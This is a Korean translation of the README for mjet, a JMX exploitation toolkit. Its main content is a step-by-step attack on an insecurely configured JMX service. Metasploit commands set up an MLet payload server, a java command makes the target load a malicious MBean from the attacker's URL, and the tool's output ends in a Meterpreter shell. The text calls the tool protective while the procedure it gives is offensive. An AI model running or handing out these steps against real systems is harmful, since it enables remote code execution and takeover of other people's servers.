
Mogwai Java Management Extensions(JMX) 익스플로잇 툴킷
Mogwai Security Java Management Extensions (JMX) Exploitation Toolkit
mjet은 안전하지 않게 구성된 JMX 서비스를 보호하기 위해 사용할 수 있는 도구입니다. 이 도구는 Braden Thomas/Accuvant의 블로그 게시물 "Exploiting JMX-RMI" (http://www.accuvant.com/blog/exploiting-jmx-rmi) 에 기반하며, 대상 시스템에서 임의의 Metasploit 페이로드를 실행하는 데 사용할 수 있습니다.
Mjet은 원래 완전한 공격 툴킷으로 계획되었지만, Metasploit Github 저장소에 네이티브 루비로 기본 Java RMI/직렬화 지원을 제공하는 풀 리퀘스트가 있다는 것을 발견했습니다. 이것은 훌륭하며 Java 의존성을 제거합니다. 그래서 우리는 이 도구의 개발을 중단하고 가까운 시일 내에 metasploit 모듈을 만들기로 했습니다.
mjet은 다음 부분으로 구성됩니다:
이 예제는 다음 시스템을 사용합니다: 공격자: 192.168.178.1 대상: 192.168.178.200, tcp 포트 1616에서 실행 중인 JMX 서비스
msf > use exploit/multi/misc/java_mlet_server
msf > set LHOST 192.168.178.1
msf > set SRVHOST 192.168.178.1
msf > set URIPATH /mlet/
msf > run
mjet.jar를 사용하여 취약한 JMX 서비스에 연결하고 MLet 웹 서버의 URL을 제공하십시오...
java -jar mjet.jar -t 192.168.178.200 -p 1616 -u http://192.168.178.1:8080/mlet/
---------------------------------------------------
MJET - Mogwai Security JMX Exploitation Toolkit 0.1
---------------------------------------------------
[+] Connecting to JMX URL: service:jmx:rmi:///jndi/rmi://192.168.178.200:1616/jmxrmi ...
[+] Connected: rmi://192.168.178.164 5
[+] Trying to create MLet bean...
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.178.1:8080/mlet/
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
[+] Loaded class: metasploit.Metasploit
[+] Loaded MBean Server ID: ptIIirfM:name=BlPwaoHu,id=oWTqfkbE
[+] Invoking: metasploit.Metasploit.run()
[+] Done
그리고 meterpreter 셸을 즐기세요 :-)